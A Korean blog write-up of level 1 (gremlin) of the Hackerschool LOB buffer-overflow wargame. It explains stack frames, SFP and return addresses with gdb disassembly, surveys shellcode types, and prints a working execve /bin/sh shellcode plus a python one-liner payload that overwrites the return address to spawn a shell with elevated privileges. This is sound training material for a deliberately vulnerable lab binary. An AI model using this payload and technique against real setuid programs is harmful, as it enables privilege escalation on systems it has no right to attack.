본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level1

LOB란 Lord Of Buffer overflow의 약자로, 1단계부터 20단계까지 있으며, 버퍼 오버플로우 관련 문제들을 모아놓은 것이라고 한다.

우선 시작하기 전에 root 계정으로 로그인 후 /etc/passwd에서 :%s/bash/bash2/를 입력해서 bash를 모두 bash2로 바꾸어주어야 한다.

bash는 \xFF를 NULL로 인식하기 때문이라고 한다.

 


 

첫 단계의 id/pw 는 gate/gate이다. FTZ와 동일하게 my-pass 명령어가 존재하는데, 로그인 한 계정의 패스워드를 출력해주는 명령어라고 한다.

텔넷을 통해 로그인 한 뒤에 ls를 입력해보았다.

 

소스 파일 하나와 실행파일이 보인다. gremlin을 실행해보았다.

argv 에러가 출력된다. 입력 값이 무언가 있어야 하는 것 같다. 

 

입력 받은 문자열을 그대로 출력해주는 프로그램인 것 같다.이를 이용해서 오버플로우를 일으켜야 하기 때문에, 소스 코드를 통해 버퍼의 길이가 몇 바이트인지 알아보기로 했다.

 

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- gremlin
	- simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

256바이트까지 입력받고 출력해주는 프로그램이다. strcpy 함수는 문자열을 복사할 때 문자열의 길이를 검사하지 않기 때문에 257바이트 이상을 입력하면 오버플로우가 일어나는 것까진 알았지만, 어느 메모리에 접근해서 어떻게 해야 하는지에 대한 단서가 없다.

그동안은 오버플로우를 이용해 다른 변수의 값을 조작하여 흐름을 바꾸는 예제만 다루어 보았는데, 해당 문제에선 오버플로우를 어떻게 이용해야 할지 감이 잡히지 않아서 오버플로우의 정의부터 다시 찾아보기로 했다.


버퍼 오버플로우란?

버퍼 오버플로우(Buffer OverFlow, BOF)는 말 그대로 버퍼를 넘치게 하는 것을 의미하며, 메모리에 할당된 버퍼의 양을 초과하는 값을 입력해서 프로그램의 복귀 주소(return address)를 조작하고, 궁극적으로 크래커가 원하는 코드를 실행하는 것을 의미한다. 보통은 root의 권한을 잠시나마 얻을 수 있는 SetUID가 설정된 프로그램에서 자주 공격이 일어나며, 데이터가 저장되는 곳이 스택 영역이냐 힙 영역이냐에 따라 "스택 버퍼 오버플로우" 또는 "힙 버퍼 오버플로우"라고 불린다.

 

 

 

우선 알아야 할게, sfp와 ret이라는 용어이다.

어셈블리 코드는 보통 push ebp 부터 시작되지만, 사실 이 전에 ret이 스택에 쌓이게 되는데 해당 동작은 코드에 나오지 않는다. ret에는 해당 함수가 끝나고 돌아가게 될 주소가 저장되어 있다.

ret이 쌓이고 난 뒤에 main+0에서 ebp를 또 push 해준다. 이 때, ebp가 저장된 공간을 sfp라고 한다.

sfp란 Stack Frame Pointer의 약자로, 이전 함수의 EBP 주소를 저장하고 있는 공간을 칭한다. 즉, 새로운 스택 프레임의 ebp에는 이전 스택 프레임의 주소가 저장되어 있다는 뜻이다. 그 위로는 선언한 변수들이 차례로 쌓이게 된다. 그림으로 나타내면 다음과 같다.

 

push ebp와 mov ebp, esp가 실행 된 후의 스택 상황. 출처: 해커스쿨

 

이후에 a라는 변수를 선언했을 시 스택 상황. 출처: 해커스쿨

 

함수가 끝까지 실행되고 종료될 때가 되면, 어셈블리 코드상에서 leave와 ret 명령어를 이용해서 함수를 종료하고 이전 함수의 다음 줄을 실행한다. 이들의 동작은 다음과 같다.

leave  =>  mov esp, ebp
	   pop ebp
           
ret    =>  pop eip
	   jmp eip

 

먼저 leave가 실행되면 esp의 위치를 ebp로 이동해서 함수의 지역 변수들을 모두 정리한 뒤에 pop ebp를 통해 기존 스택 프레임의 ebp를  ebp에 꺼내서 기존 스택 프레임의 ebp로 만들어 준다. 이 때, pop을 하고나면 esp의 위치는 esp+4(ebp+4)로 이동되고 (push는 -4, pop은 +4.), ret을 가리키게 된다.

이후에 ret이 실행되면 pop eip 를 통해 복귀 주소를 eip에 저장하고, jmp eip를 통해 복귀 주소로 이동하게 되어서, 기존 함수의 다음 줄을 실행하게 된다.

 


이제 스택의 구조와 실행 과정을 알았으니, 어떻게 공격을 해야 할지 감이 잡힌다. main 함수가 종료될 때 pop ebp를 통해 기존 스택 프레임의 ebp를 복구시키고, ret을 실행해서 복귀 주소를 pop해서 해당 주소로 점프하게 되는데, 이 때 ret의 값을 바꿔주면 메인 루틴에서의 다음 실행이 아닌, 내가 원하는 메모리에 저장된 프로세스를 실행할 수 있다는 뜻이다.

먼저, ret이 저장된 주소를 알아보고자 gdb를 통해 디스어셈블 해보았다.

(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,0x100
0x8048439 <main+9>:	cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:	jg     0x8048456 <main+38>
0x804843f <main+15>:	push   0x80484e0
0x8048444 <main+20>:	call   0x8048350 <printf>
0x8048449 <main+25>:	add    %esp,4
0x804844c <main+28>:	push   0
0x804844e <main+30>:	call   0x8048360 <exit>
0x8048453 <main+35>:	add    %esp,4
0x8048456 <main+38>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:	add    %eax,4
0x804845c <main+44>:	mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:	push   %edx
0x804845f <main+47>:	lea    %eax,[%ebp-256]
0x8048465 <main+53>:	push   %eax
0x8048466 <main+54>:	call   0x8048370 <strcpy>
0x804846b <main+59>:	add    %esp,8
0x804846e <main+62>:	lea    %eax,[%ebp-256]
0x8048474 <main+68>:	push   %eax
0x8048475 <main+69>:	push   0x80484ec
---Type <return> to continue, or q <return> to quit---
0x804847a <main+74>:	call   0x8048350 <printf>
0x804847f <main+79>:	add    %esp,8
0x8048482 <main+82>:	leave  
0x8048483 <main+83>:	ret    
0x8048484 <main+84>:	nop    
0x8048485 <main+85>:	nop    
0x8048486 <main+86>:	nop    
0x8048487 <main+87>:	nop    
0x8048488 <main+88>:	nop    
0x8048489 <main+89>:	nop    
0x804848a <main+90>:	nop    
0x804848b <main+91>:	nop    
0x804848c <main+92>:	nop    
0x804848d <main+93>:	nop    
0x804848e <main+94>:	nop    
0x804848f <main+95>:	nop    
End of assembler dump.

 

 

어셈블리의 위의 3줄을 보면 스택의 구조를 알 수 있다.

 

0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,0x100

ret이 바닥에 깔려있는 상태에서, ebp(sfp)를 push하고, ebp에 esp 값을 넣어주어서 새로운 스택 프레임을 만들고, esp를 0x100만큼 빼주었다. 0x100은 16진수인데 10진수로 변환하면 256이 된다. 해당 공간이 buffer의 공간임을 알 수 있다. 지금까지의 스택의 구조를 그려보면 다음과 같다.

 

Buffer (256Byte) SFP (4byte) RET (4byte)

버퍼에 260바이트를 채우면 SFP를 덮게 되고, 그 이상을 채우면 RET을 덮게 되어, ret 호출 시에 기존에 저장되어 있던 주소가 아닌 다른 값을 불러내게 된다. 해당 부분을 쉘 코드로 덮는다면 프로그램 종료시에 쉘을 불러낼 수 있다.

 


쉘 코드(Shell Code)

함수의 복귀 주소(Return Address)를 임의의 주소로 바꾸어줄 경우, 임의의 주소에 있는 프로그램을 실행시킬 수 있다. 임의의 주소에 프로그램이 존재하려면 프로그램이 실행중인 상태여야 하는데, 그러한 프로그램들 중 shell이 존재하고, shell을 실행시키는 코드를 쉘 코드라고 부른다.

쉘 코드는 로컬 쉘 코드와 원격 쉘 코드로 나누어진다.

 

  1. 로컬 쉘 코드
    공격자가 대상 시스템에 대해 접근 권한을 가지고 있는 경우, 버퍼 오버플로우와 등을 이용하여 높은 권한을 가진 프로세스를 공격해서 권한을 획득하기 위해 사용된다.

  2. 원격 쉘 코드
    공격자가 네트워크 상의 다른 대상 시스템에 존재하는 취약점이 있는 프로세스를 공격하고자 할 때 사용된다. 원격 쉘은 일반적으로 대상 시스템의 쉘에 대한 접근을 허용하기 위해 표준 TCP/IP 소켓 연결을 사용하기 때문에, 연결이 어떻게 이루어졌는지에 따라 쉘코드가 다음과 같이 분류된다.

    • 리버스 쉘 코드

      목표 시스템으로부터 공격자에게 연결을 요청하도록 하기 때문에 커넥백(Connect-Back) 쉘코드라고 한다.

    • 바인드 쉘 코드

      쉘 코드가 목표 시스템의 특정 포트를 바인드(Bind, 포트를 지정하는 것)해서 공격자가 대상 시스템에 연결 하도록 한다.
    • 다운로드 및 실행 쉘 코드

      쉘 코드가 직접 쉘을 실행하지는 않지만 주로 외부의 네트워크로부터 악성코드를 다운로드하고 실행할 때 사용된다.

 

 


 

 

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

위의 코드가 가장 기본적으로 쉘을 띄우는 쉘 코드이다. 해당 코드를 복귀 주소에 저장하면, 프로그램이 종료될 때 해당 코드를 실행시키고, 쉘이 나올 것이다. 하지만 코드의 길이가 25바이트이고 복귀 주소를 저장하는 공간은 4바이트 뿐이다. 이를 어떻게 해결해야할까 하다가, 이를 모두 저장할 수 있을 만한 크기를 가진 buffer에 쉘 코드를 저장하고, 복귀 주소에 buffer의 시작 주소를 저장한다면, 프로그램이 종료될 때 buffer의 시작 주소로 돌아가서 해당 코드를 동작시키지 않을까 싶었다. 그러기 위해 먼저 buffer의 주소를 알아야 했다. main+3에 중단점을 지정하고, 실행되기 전 후의 esp값을 확인해보았다.

(gdb) x/i $eip
0x8048433 <main+3>:	sub    %esp,0x100
(gdb) x/w $esp
0xbffffa28:	0xbffffa48
(gdb) ni      
0x8048439 in main ()
(gdb) x/w $esp
0xbffff928:	0x00005a62

 

esp가 0xbffffa28에서 0x100만큼 빼주어서 0xbffff928이 되었다. 이 곳이 바로 buffer의 시작지점이며, ret에 저장해야 할 값이다. 값을 저장할 땐 리틀 엔디언 방식에 의해서 28 f9 ff bf 와 같이 바이트 단위로 뒤에서부터 저장해주어야 한다.

buffer엔 25바이트의 쉘 코드 + 231 바이트의 나머지 버퍼 공간 + 4바이트(sfp)를 채운 후에 0xbffff928을 저장해야 한다. 길이가 매우 길기 때문에 python의 힘을 빌리도록 한다.

`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A"*235 + "\x28\xf9\xff\xbf"'`

해당 코드를 gremlin의 인자로 넘겨주었다.

 

 

쉘을 띄우는 데 성공했다. 공격이 제대로 들어간 것인지 id 를 통해 확인해보았다.

 

gremlin의 euid, egid를 확인할 수 있다. 이제 my-pass 명령어를 통해 비밀번호를 알아낸 후, gremlin으로 로그인하면 된다.